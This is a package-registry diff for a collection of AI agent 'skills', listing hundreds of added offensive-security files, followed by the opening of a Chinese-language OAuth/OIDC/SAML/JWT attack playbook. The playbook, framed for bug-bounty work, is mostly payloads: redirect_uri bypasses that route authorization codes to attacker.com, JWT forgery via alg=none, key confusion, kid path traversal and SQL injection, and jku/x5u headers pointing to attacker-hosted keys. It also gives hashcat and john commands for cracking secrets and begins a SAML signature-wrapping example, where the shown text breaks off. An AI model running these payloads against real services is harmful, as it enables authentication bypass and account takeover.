opencode-skills-collection 4.0.42 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +49 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/lore/SKILL.md +104 -298
- package/bundled-skills/lore/references/audit-template.md +21 -4
- package/bundled-skills/lore/references/compatibility.md +51 -121
- package/bundled-skills/lore/references/config.md +22 -23
- package/bundled-skills/lore/references/entry-format.md +33 -3
- package/bundled-skills/lore/references/history-command.md +98 -2
- package/bundled-skills/lore/references/platform-mirrors.md +45 -16
- package/bundled-skills/lore/references/stale-new-markers.md +10 -8
- package/bundled-skills/lore/references/summary-template.md +8 -1
- package/bundled-skills/lore/references/workflows.md +192 -0
- package/bundled-skills/lore/scripts/README.md +14 -13
- package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
- package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
- package/bundled-skills/lore/scripts/find_stale.py +68 -16
- package/bundled-skills/lore/scripts/history.py +235 -23
- package/bundled-skills/lore/scripts/id_hash.py +7 -4
- package/bundled-skills/lore/scripts/list_entries.py +82 -13
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/poka-yoke/SKILL.md +172 -0
- package/bundled-skills/project-state-governor/SKILL.md +1 -1
- package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
- package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
- package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1281 -3
- package/bundled-skills/lore/README.md +0 -386
- package/bundled-skills/lore/README.zh-CN.md +0 -386
- package/bundled-skills/lore/WORKFLOWS.md +0 -216
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
|
@@ -0,0 +1,2504 @@
|
|
|
1
|
+
# OAuth / OIDC / SAML / JWT
|
|
2
|
+
|
|
3
|
+
> 视角:黑盒,目标是绕过认证 / 伪造 token / 接管账号
|
|
4
|
+
|
|
5
|
+
## 1. 一句话说清
|
|
6
|
+
|
|
7
|
+
OAuth/OIDC/SAML 是把"认证"外包给第三方 IdP;JWT 是常用的 token 格式。
|
|
8
|
+
SRC 价值:能伪造任意用户身份 = P0;能让回调把 code 发到攻击者域 = P0。
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 2. 高频入口点
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
/oauth/authorize
|
|
16
|
+
/oauth2/authorize
|
|
17
|
+
/oauth/token
|
|
18
|
+
/connect/authorize
|
|
19
|
+
/.well-known/openid-configuration
|
|
20
|
+
/saml/login
|
|
21
|
+
/saml/acs
|
|
22
|
+
/jwks.json
|
|
23
|
+
/.well-known/jwks.json
|
|
24
|
+
登录后的 Authorization: Bearer eyJ... (JWT)
|
|
25
|
+
回调:?code=xxx&state=xxx
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
## 3. 探测手法
|
|
31
|
+
|
|
32
|
+
### 3.1 OAuth redirect_uri 校验
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# 1. 子串匹配漏洞
|
|
36
|
+
?redirect_uri=https://target.com.attacker.com
|
|
37
|
+
?redirect_uri=https://attacker.com/target.com
|
|
38
|
+
?redirect_uri=https://target.com.evil.com
|
|
39
|
+
|
|
40
|
+
# 2. 路径绕过
|
|
41
|
+
?redirect_uri=https://target.com/../attacker.com/cb
|
|
42
|
+
?redirect_uri=https://target.com@attacker.com
|
|
43
|
+
?redirect_uri=https://target.com#@attacker.com
|
|
44
|
+
?redirect_uri=https://target.com%2f@attacker.com
|
|
45
|
+
?redirect_uri=https://target.com%5c@attacker.com
|
|
46
|
+
|
|
47
|
+
# 3. URL 解析差异
|
|
48
|
+
?redirect_uri=https://attacker.com\@target.com
|
|
49
|
+
?redirect_uri=https://attacker.com%2f%40target.com/cb
|
|
50
|
+
|
|
51
|
+
# 4. 通配符 / 子域
|
|
52
|
+
?redirect_uri=https://attacker.target.com (如果允许 *.target.com)
|
|
53
|
+
|
|
54
|
+
# 5. 大小写 / 编码
|
|
55
|
+
?redirect_uri=HTTPS://target.com.attacker.com
|
|
56
|
+
?redirect_uri=https://target.com%2eattacker.com
|
|
57
|
+
|
|
58
|
+
# 6. 空 / 缺失
|
|
59
|
+
?redirect_uri=
|
|
60
|
+
?redirect_uri (无值)
|
|
61
|
+
|
|
62
|
+
# 7. CRLF
|
|
63
|
+
?redirect_uri=https://target.com%0d%0aLocation:%20https://attacker.com
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
成功的话 → 把 `code` 发到攻击者的 callback → 用 code 换 token。
|
|
67
|
+
|
|
68
|
+
### 3.2 state / nonce 缺失
|
|
69
|
+
|
|
70
|
+
```
|
|
71
|
+
# 不传 state
|
|
72
|
+
?response_type=code&client_id=xxx&redirect_uri=...
|
|
73
|
+
|
|
74
|
+
# 状态机理:state 缺失 → CSRF 登录绑定攻击
|
|
75
|
+
1. 攻击者用自己账号在 IdP 上获得 code
|
|
76
|
+
2. 诱导受害者访问 /callback?code=ATTACKER_CODE
|
|
77
|
+
3. 受害者绑定到攻击者账号
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 3.3 PKCE 缺失(移动 / SPA)
|
|
81
|
+
|
|
82
|
+
```
|
|
83
|
+
正常:code_challenge / code_verifier
|
|
84
|
+
攻击:拦截 code 后无 verifier 仍能换 token = PKCE 关闭
|
|
85
|
+
|
|
86
|
+
测试:
|
|
87
|
+
1. 看授权请求是否有 code_challenge 参数
|
|
88
|
+
2. 没有 → 拦截 code 后用 attacker 的 code_verifier 兑换(实际无 verifier 也行)
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### 3.4 JWT 漏洞探针
|
|
92
|
+
|
|
93
|
+
```bash
|
|
94
|
+
# 1. alg=none
|
|
95
|
+
{"alg":"none","typ":"JWT"}.{...payload...}. ← 空签名
|
|
96
|
+
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
|
|
97
|
+
echo -n '{"sub":"admin"}' | base64 -w0
|
|
98
|
+
拼成 token:<header>.<payload>.
|
|
99
|
+
|
|
100
|
+
# 2. HS/RS 混淆
|
|
101
|
+
# 正常用 RS256(公钥+私钥),改成 HS256(共享密钥)
|
|
102
|
+
# 用泄露的公钥(或 jwks 里的 n+e)作为 HMAC 密钥伪造
|
|
103
|
+
|
|
104
|
+
python3 jwt_tool.py -X k -pk public.pem JWT
|
|
105
|
+
|
|
106
|
+
# 3. 弱密钥爆破
|
|
107
|
+
hashcat -m 16500 jwt.txt rockyou.txt
|
|
108
|
+
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
|
|
109
|
+
|
|
110
|
+
# 4. kid 路径遍历 / SQL 注入
|
|
111
|
+
{"alg":"HS256","kid":"../../../dev/null"} → 用空文件作密钥
|
|
112
|
+
{"alg":"HS256","kid":"key1' UNION SELECT 'attacker_secret'--"}
|
|
113
|
+
|
|
114
|
+
# 5. jku 注入(外部 JWKS)
|
|
115
|
+
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
|
|
116
|
+
# 攻击者控制 JWKS → 提供自己的公钥 → 伪造 token
|
|
117
|
+
|
|
118
|
+
# 6. x5u 注入(外部证书)
|
|
119
|
+
{"alg":"RS256","x5u":"https://attacker.com/cert.pem"}
|
|
120
|
+
|
|
121
|
+
# 7. None 大小写
|
|
122
|
+
"alg":"None" / "alg":"NONE" / "alg":"nOnE"
|
|
123
|
+
|
|
124
|
+
# 8. 空签名
|
|
125
|
+
直接删掉签名段,留 header.payload.(保留点)
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
工具:
|
|
129
|
+
- `jwt_tool` (https://github.com/ticarpi/jwt_tool)
|
|
130
|
+
- `jwt.io`(手动编辑)
|
|
131
|
+
- Burp `JWT Editor` 插件
|
|
132
|
+
|
|
133
|
+
### 3.5 SAML 攻击
|
|
134
|
+
|
|
135
|
+
```xml
|
|
136
|
+
<!-- XSW (XML Signature Wrapping) -->
|
|
137
|
+
<!-- 把恶意断言包在已签名断言外 / 内 / 兄弟节点 -->
|
|
138
|
+
|
|
139
|
+
<samlp:Response>
|
|
140
|
+
